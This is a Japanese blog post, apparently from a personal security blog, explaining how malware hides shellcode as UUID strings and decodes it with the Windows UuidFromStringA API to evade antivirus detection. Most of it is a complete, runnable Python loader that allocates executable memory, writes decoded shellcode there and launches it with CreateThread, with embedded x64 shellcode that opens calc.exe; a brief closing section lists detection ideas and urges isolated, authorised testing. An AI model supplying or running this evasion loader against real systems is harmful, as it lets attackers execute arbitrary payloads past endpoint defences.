banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

悪意コードの隠れた世界:UUIDとdeepseek-v3-0324の完璧な組み合わせ

まず UUID について理解しましょう: UUID(ユニバーサルユニーク識別子)は、128 ビットの値で、ソフトウェアシステムでほぼ一意の参照を提供するために一般的に使用されます。通常、16 進数の数字で構成された文字列形式で表され、5 つの部分に分かれています。その構造と生成方法(タイムスタンプまたはランダム数に基づく)により、UUID が衝突する可能性は非常に低く、特に集中管理のユニーク性管理メカニズムが欠如しているシナリオで、分散システム内のオブジェクトや記録を識別するのに非常に適しています。

悪意のあるスクリプトは、主に Microsoft が提供する API 関数: UuidFromStringA () を利用しています。この関数は、UUID 文字列をバイナリ形式に変換できます。したがって、上記の一連の UUID は、一度元のバイトにデコードされると、シェルコードとしてメモリに注入されて実行されます。この技術を利用するマルウェアは追跡を逃れる可能性が非常に高く、VT スコアはわずか: 2/61 です。

UUID ベースのシェルコードローダー(Python 実装)
このコードは、攻撃者がシェルコードを UUID 形式にエンコードし、メモリにロードして実行する方法をシミュレートしています。実際の攻撃では、このようなコードは AV/EDR 検出を回避するために使用される可能性があります。

単純なシェルコード(例えば、計算機 calc.exe の x64 シェルコード)があると仮定し、それを 16 バイトのブロックに分割し、UUID 形式に変換できます:

import ctypes
import uuid

def generate_uuid_shellcode(shellcode):
    """シェルコードをUUID形式の文字列リストに変換します"""
    uuid_shellcode = []
    for i in range(0, len(shellcode), 16):
        chunk = shellcode[i:i+16]
        # 不足16バイトはNOP (0x90) で埋めます
        if len(chunk) < 16:
            chunk += b"\x90" * (16 - len(chunk))
        uuid_str = str(uuid.UUID(bytes_le=chunk))
        uuid_shellcode.append(uuid_str)
    return uuid_shellcode

def execute_uuid_shellcode(uuid_shellcode):
    """メモリにUUID形式のシェルコードをロードして実行します"""
    # 読み取り、書き込み、実行可能なメモリを割り当てます (RWX)
    rwx_page = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),
        ctypes.c_int(len(uuid_shellcode) * 16),
        ctypes.c_int(0x1000),  # MEM_COMMIT
        ctypes.c_int(0x40)     # PAGE_EXECUTE_READWRITE
    )
    if not rwx_page:
        print("[!] VirtualAllocに失敗しました!")
        return False

    # UUID文字列をバイナリに戻してメモリに書き込みます
    ptr = rwx_page
    for u in uuid_shellcode:
        status = ctypes.windll.rpcrt4.UuidFromStringA(
            ctypes.c_char_p(u.encode()),
            ctypes.c_void_p(ptr)
        )
        if status != 0:
            print(f"[!] UuidFromStringAに失敗しました (ステータス: {status})")
            return False
        ptr += 16

    # シェルコードを実行するスレッドを作成します
    thread_handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_void_p(rwx_page),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    if not thread_handle:
        print("[!] CreateThreadに失敗しました!")
        return False

    # スレッドの終了を待ちます
    ctypes.windll.kernel32.WaitForSingleObject(
        ctypes.c_int(thread_handle),
        ctypes.c_int(-1)
    )
    return True

if __name__ == "__main__":
    # サンプルシェルコード (x64計算機を起動するためのペイロード、実際の研究目的のシェルコードに置き換える必要があります)
    shellcode = (
        b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
        b"\x63\x2e\x65\x78\x65\x00"
    )

    # UUID形式のシェルコードを生成します
    print("[+] UUID形式のシェルコードを生成中...")
    uuid_shellcode = generate_uuid_shellcode(shellcode)
    for u in uuid_shellcode:
        print(f'"{u}",')

    # シェルコードを実行します
    print("\n[+] シェルコードを実行中...")
    if execute_uuid_shellcode(uuid_shellcode):
        print("[+] シェルコードの実行が完了しました!")
    else:
        print("[!] シェルコードの実行に失敗しました!")

重要なコードの説明#

generate_uuid_shellcode#

  • 元のシェルコードを 16 バイトごとに分割します。
  • 各ブロックを UUID 文字列(リトルエンディアン)に変換します。

execute_uuid_shellcode#

  1. VirtualAllocを使用して RWX メモリを割り当てます。
  2. UuidFromStringAを呼び出して UUID をバイナリに戻し、メモリに書き込みます。
  3. CreateThreadを通じてメモリ内のシェルコードを実行します。

シェルコードの置き換え#

  • サンプルのシェルコードは x64 計算機のペイロードであり、実際の研究では他の合法的な用途のシェルコード(脆弱性研究の PoC など)に置き換えることができます。

防御の提案#

次の API 呼び出しを監視します:#

  • VirtualAlloc + CreateThreadの組み合わせ。
  • 長い文字列を変換するためのUuidFromStringA

行動検出:#

  • プロセスが RWX メモリを頻繁に割り当てているかどうかを確認します。
  • EDR ツール(Elastic Endpoint など)を使用してメモリ注入の行動をキャッチします。

テスト環境:#

  • このようなコードは、隔離された仮想マシン(VMware + スナップショットなど)でのみ実行してください。

常にペネトレーションテストの承認とコンプライアンス要件を遵守してください!

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。